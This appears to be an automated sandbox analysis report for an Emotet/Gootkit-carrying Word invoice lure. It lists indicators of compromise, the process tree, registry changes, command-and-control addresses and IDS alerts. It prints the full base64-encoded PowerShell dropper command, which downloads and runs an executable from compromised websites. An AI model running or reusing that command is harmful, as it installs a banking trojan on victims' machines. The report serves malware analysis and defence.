File name:

SCAN_904075829202US_May_15_2019.doc

Full analysis: https://app.any.run/tasks/e91adc87-39b1-44ea-9dc8-c04347b6193e
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 15, 2019, 18:21:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
trojan
gootkit
emotet
feodo
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Pine invoice, Subject: Costa Rican Colon, Author: Barton Berge, Comments: Brook Louisiana Parks, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed May 15 15:15:00 2019, Last Saved Time/Date: Wed May 15 15:15:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 173, Security: 0
MD5:

188C796567D61DD6E79AD6899F6CF856

SHA1:

435F292CF39FBF9DF3C000603A53FCE2FFEE9A20

SHA256:

530D831A6BD6131D50A016D892294855EC878184C15B459367D331AF006FFB4E

SSDEEP:

3072:a77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qKj9/ICC3YIrGnVF1:a77HUUUUUUUUUUUUUUUUUUUT52V/j9/x

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 332.exe (PID: 3436)
      • 332.exe (PID: 3248)
      • soundser.exe (PID: 1136)
      • soundser.exe (PID: 3112)
      • todu.exe (PID: 300)
      • todu.exe (PID: 768)
      • soundser.exe (PID: 2212)
      • soundser.exe (PID: 948)
    • GOTKIT detected

      • powershell.exe (PID: 3516)
      • 332.exe (PID: 3248)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3516)
    • Emotet process was detected

      • soundser.exe (PID: 1136)
      • soundser.exe (PID: 948)
    • Changes the autorun value in the registry

      • soundser.exe (PID: 3112)
    • EMOTET was detected

      • soundser.exe (PID: 3112)
      • soundser.exe (PID: 2212)
    • Connects to CnC server

      • soundser.exe (PID: 3112)
      • soundser.exe (PID: 2212)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3516)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3516)
      • 332.exe (PID: 3248)
      • todu.exe (PID: 768)
      • soundser.exe (PID: 3112)
    • Starts itself from another location

      • 332.exe (PID: 3248)
      • todu.exe (PID: 768)
    • Application launched itself

      • 332.exe (PID: 3436)
      • soundser.exe (PID: 1136)
    • Connects to server without host name

      • soundser.exe (PID: 3112)
      • soundser.exe (PID: 2212)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3676)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3676)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
Title: Pine invoice
Subject: Costa Rican Colon
Author: Barton Berge
Keywords: -
Comments: Brook Louisiana Parks
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:05:15 14:15:00
ModifyDate: 2019:05:15 14:15:00
Pages: 1
Words: 30
Characters: 173
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Toy Inc
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 202
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Stracke
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
10
Malicious processes
9
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs #GOOTKIT powershell.exe 332.exe no specs #GOOTKIT 332.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe todu.exe no specs todu.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
300"C:\Users\admin\AppData\Local\soundser\todu.exe"C:\Users\admin\AppData\Local\soundser\todu.exesoundser.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\todu.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\certcli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
768--91188533C:\Users\admin\AppData\Local\soundser\todu.exe
todu.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\todu.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\certcli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
948"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
todu.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\certcli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
1136"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
332.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2212--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\certcli.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3112--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3248--f6489cf0C:\Users\admin\332.exe
332.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\332.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3436"C:\Users\admin\332.exe" C:\Users\admin\332.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\users\admin\332.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3516powershell -enc JABYADAANQA2ADMAMwA9ACcAVwAyADQAOAA2ADIANAAnADsAJABpADUANwAxADMAXwAxACAAPQAgACcAMwAzADIAJwA7ACQAaQBfADYAOAAyADAAOAAwAD0AJwBKADAANwBfADMAOAA5ADAAJwA7ACQAaQA1ADYANQA2ADEANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAaQA1ADcAMQAzAF8AMQArACcALgBlAHgAZQAnADsAJABLADMAMAAxADgANQA9ACcARgA0ADQAOAAxADMANQAwACcAOwAkAHEAMgA0AF8AOAA5AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAYABUAC4AdwBFAGAAQgBjAGwASQBlAG4AdAA7ACQAVgAxADkAOAAzADIAPQAnAGgAdAB0AHAAOgAvAC8AcwBoAG8AcABoAGEAbgBxAHUAbwBjAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANwAzAGkAdAA3ADQAbgBoADgAMwBfAGoAcwA1AG0ANgAtADcAMQA2AC8AQABoAHQAdABwADoALwAvAHMAYQBuAHYAaQBlAGMAbABhAG0AbgBnAG8AYQBpAG4AdQBvAGMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBRAHIAegB3AFQAcAB5AHcATABNAC8AQABoAHQAdABwAHMAOgAvAC8AaQBuAGgAdQBpAHMAYwByAGUAYQB0AGkAdgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQBkAGIAYgAwAF8AagBnAGIANQBjAC0AOQA4ADEAMAA2ADkAMgA4ADMALwBAAGgAdAB0AHAAOgAvAC8AZwBtAHIAcwAtAHIAbwBhAG4AbwBrAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEsAcgB0AEgAWQBjAEIAaAAvAEAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AYwBhAG4AbQBlAHIAdABkAG8AZwBhAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHoAcAB1AEYATwBOAGgAZgAvACcALgBzAHAATABJAFQAKAAnAEAAJwApADsAJABqADYAOQA1ADAAOQA0ADcAPQAnAFgAMAA1ADUANQAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABXADIAMQA2ADEAMQA4ADMAIABpAG4AIAAkAFYAMQA5ADgAMwAyACkAewB0AHIAeQB7ACQAcQAyADQAXwA4ADkALgBkAE8AVwBOAGwATwBhAEQAZgBpAGwAZQAoACQAVwAyADEANgAxADEAOAAzACwAIAAkAGkANQA2ADUANgAxADcAKQA7ACQARQA2ADEAOAAwAF8AOQA9ACcAYQA5ADUANgA1ADIAXwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAGkANQA2ADUANgAxADcAKQAuAEwAZQBuAEcAVABoACAALQBnAGUAIAAyADQAMAA1ADUAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAaQA1ADYANQA2ADEANwA7ACQAcgA0ADIAOAAxADAAOAA9ACcAegBfADQAMQA4AF8AJwA7AGIAcgBlAGEAawA7ACQAbgBfADgAMAA3ADAAPQAnAHEAMgA5ADEAOAA1ADIAMQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAF8AOQBfADAAMgA3AD0AJwBZADMAOQA4ADcAOAAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3676"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SCAN_904075829202US_May_15_2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
Total events
1 578
Read events
1 371
Write events
198
Delete events
9

Modification events

(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:&v?
Value:
26763F005C0E0000010000000000000000000000
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3676) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320091678
(PID) Process:(3676) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091792
(PID) Process:(3676) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320091793
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
5C0E000058F9620F4B0BD50100000000
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:kw?
Value:
6B773F005C0E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:kw?
Value:
6B773F005C0E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3676) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
4
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREE16.tmp.cvr
MD5:
SHA256:
3516powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0IW7P0UFPKW6BK35O1LN.temp
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF42F0C26375FF994A.TMP
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B4B425E3-DB9D-476C-BF0D-F4A8927C3E50}.tmp
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0EC8D672-C069-42EE-B3B7-9976247C2761}.tmp
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD5B1503.wmfwmf
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\254A4328.wmfwmf
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$AN_904075829202US_May_15_2019.docpgc
MD5:
SHA256:
3676WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
6
DNS requests
1
Threats
21

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3112
soundser.exe
POST
90.57.69.215:80
http://90.57.69.215/codec/cookies/ringin/merge/
FR
malicious
3516
powershell.exe
GET
200
202.92.6.12:80
http://shophanquoc.net/wp-content/73it74nh83_js5m6-716/
VN
executable
121 Kb
suspicious
2212
soundser.exe
POST
90.57.69.215:80
http://90.57.69.215/splash/entries/ringin/
FR
malicious
2212
soundser.exe
POST
75.177.169.225:80
http://75.177.169.225/cone/
US
malicious
2212
soundser.exe
POST
191.92.69.115:80
http://191.92.69.115/window/
CO
malicious
3112
soundser.exe
POST
200
191.92.69.115:80
http://191.92.69.115/enable/
CO
binary
65.4 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3516
powershell.exe
202.92.6.12:80
shophanquoc.net
VNPT Corp
VN
suspicious
3112
soundser.exe
90.57.69.215:80
Orange
FR
malicious
3112
soundser.exe
191.92.69.115:80
CO
malicious
2212
soundser.exe
191.92.69.115:80
CO
malicious
2212
soundser.exe
90.57.69.215:80
Orange
FR
malicious
75.177.169.225:80
Time Warner Cable Internet LLC
US
malicious

DNS requests

Domain
IP
Reputation
shophanquoc.net
  • 202.92.6.12
suspicious

Threats

PID
Process
Class
Message
3516
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3516
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3516
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3112
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3112
soundser.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 12
3112
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2212
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2212
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2212
soundser.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 22
2212
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
11 ETPRO signatures available at the full report
No debug info